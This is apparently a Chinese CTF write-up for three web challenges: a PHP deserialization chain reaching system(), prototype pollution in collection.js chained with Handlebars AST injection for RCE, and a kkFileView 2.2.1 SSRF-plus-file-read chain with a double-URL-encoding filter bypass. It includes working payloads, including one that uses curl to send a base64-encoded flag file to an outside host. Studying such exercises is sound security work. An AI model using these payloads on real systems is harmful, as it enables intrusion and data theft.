PHP_unserialize_pro
题目信息
签到题
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'welcome';
public function __construct(){
$this->name = 'Wh0 4m I?';
}
public function __destruct(){
if($this->name == 'A_G00d_H4ck3r'){
echo $this->arg;
}
}
}
class G00d{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
die("U R A BAD GUY");
}
eval($shell($cmd));
}
}
class H4ck3r{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
if(isset($_GET['data']))
unserialize($_GET['data']);
else
highlight_file(__FILE__);
?>
利用思路
常规反序列化,没啥好讲的,用POST传参绕一下waf就好
<?php
class Welcome
{
public $name;
public $arg;
}
class G00d
{
public $shell;
public $cmd;
}
class H4ck3r
{
public $func;
}
//eval($shell($cmd));
$good = new G00d();
$good->shell = "urldecode";
$good->cmd = "system(\$_POST[1]);";
$hacker = new H4ck3r();
$hacker->func = $good;
$welcome = new Welcome();
$welcome->name = "A_G00d_H4ck3r";
$welcome->arg = $hacker;
echo serialize($welcome);
// O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:9:"urldecode";s:3:"cmd";s:18:"system($_POST[1]);";}}}
?>
小结
签到题,考点是反序列化。
meow_blog
题目信息
附件给了docker-compose.yml和源码
中间件函数中的waf函数里的collection.extend()是存在原型链污染漏洞的
可以看到,这是一个类似merge的函数,而merge是原型链污染中典型的函数。
https://security.snyk.io/ 可以直接查这个包的洞的poc 另外就是题目导入了handlebars,它存在的AST注入,如果有原型链污染就可以直接RCE。
https://tyaoo.github.io/2021/09/25/Handlebars-AST%E6%B3%A8%E5%85%A5/
利用思路
环境搭建
了解到有师傅复现的时候存在困难,这里简单记录环境搭建过程。
- 由于给了docker-compose.yml,虚拟机里docker-compose up -d可以起一个和远程题目一样的环境;
- 便于本地调试,我在windows本机上也搭了环境(实际上可以docker exec -it 去容器里改代码,略麻烦)
- 在package.json同级目录下,终端运行node i 安装依赖
- 修改数据配置文件pool.js,运行init.sql文件创建数据库表
- node app.js启动项目
collection 原型链污染
在题目环境测试POC,发现确实存在原型链污染漏洞。
// collection原型链污染
const params = {};
var collection = require("collection.js")
bad_payload = JSON.parse('{"__proto__":{"polluted":"yes"}}');
collection.extend(true,params,bad_payload)
console.log("result:"+ params.polluted)
这意味着,我们在请求中传入我们的payload,就会触发原型链污染。
Handlebars AST注入
在题目环境测试Handlebars RCE的POC,是可以正常RCE的。
// handlebars AST注入 实现由原型链污染到RCE
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"loc": {
"start": 0
}
}];
var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));
这意味着如果存在原型链污染漏洞,利用Handlebars AST注入即可实现RCE。
组合漏洞实现RCE
我们把Handlebars AST注入的payload作为传参,传到后台过waf的时候会触发污染,render的时候会触发AST注入,导致RCE。
{
"aaa":{
"__proto__":{
"type":"Program",
"body":[{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"loc": {
"start": 0
}
}]
}
}
}
{
"aaa":{
"__proto__":{
"type":"Program",
"body":[{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('curl 192.168.147.1:2333/`cat /flag|base64`').toString())"
}],
"loc": {
"start": 0
}
}]
}
}
}
注意事项
payload外面再套一层,是为了bypass banProto这个函数,本地调试payload的时候能发现,忘记写了。
参考链接
星盟Web原型链污染视频
大头师傅复现计划
collection.js的原型链污染漏洞
Handlebars AST注入详解
小结
- collection.js 的 extend存在原型链污染漏洞
- handlebars 存在 AST注入可以RCE
- JS无回显RCE及其运行结果的外带,记得base64免得特殊字符
sharedBox
题目信息
纯 kkfileview2.2.1 这个组件的代码审计,感觉有点怪,第一次见这种题。
利用思路
环境搭建
把漏洞环境在本地搭起来,是代码审计的第一步,通过这个路由可以判断,远程主机的版本信息。
/fileview/onlinePreview?url=http://localhost:8012/index.jsp
然后,下载对应版本的kkfileview的source code版本:kkfileview 2.2.1,idea打开文件夹,安装maven依赖;
以调试模式运行FilePreviewApplication类,环境搭建完毕。
getCorsFile AFR
但是这里实际环境中,题目用nginx过滤掉file:///了,没办法直接读文件。
onlinePreview SSRF
本来是预览文件功能,会在file目录生成预览文件以及"预览文件全称".txt,例如我这里预览上传的flag.txt
实际上就是请求下面这个路由,显示url指定的文件内容,这个路由显然可能存在SSRF漏洞
同时在demo目录同级目录生成下面两个文件,通过上面的路由可知,我们访问这俩文件只需 http://xxx/flag.txt
AFR+SSRF 组合漏洞
我们用getCorsFile去读指定文件的内容,再通过onlinePreview去预览该文件,这样在服务器上就会保存我们getCorsFile读取文件的内容的结果,再用getCorsFile去读保存结果的文件,即可实现任意文件读取。
同时由于SSRF是两次访问URL,可以通过URL双编码即可绕过nginx的过滤;
getCorsFile.txt是为了让它识别成支持格式后缀,这样预览的时候才会在服务端生成文件。
/onlinePreview?url=http://localhost:8012/getCorsFile.txt?urlPath=file:///D://flag.txt
/onlinePreview?url=http://localhost:8012/getCorsFile.txt?urlPath=%25%36%36%25%36%39%25%36%63%25%36%35%25%33%61%25%32%66%25%32%66%25%32%66%25%34%34%25%33%61%25%32%66%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%34%25%37%38%25%37%34
最后访问一下读到结果的文件即可,文件名就是getcorsFile.txt,加%09绕过一下虚空过滤
http://localhost:8012/%09getcorsFile.txt
参考链接
小结
- kkfileview2.2.1 有SSRF和AFR漏洞,结合起来可以实现能bypass一些过滤的AFR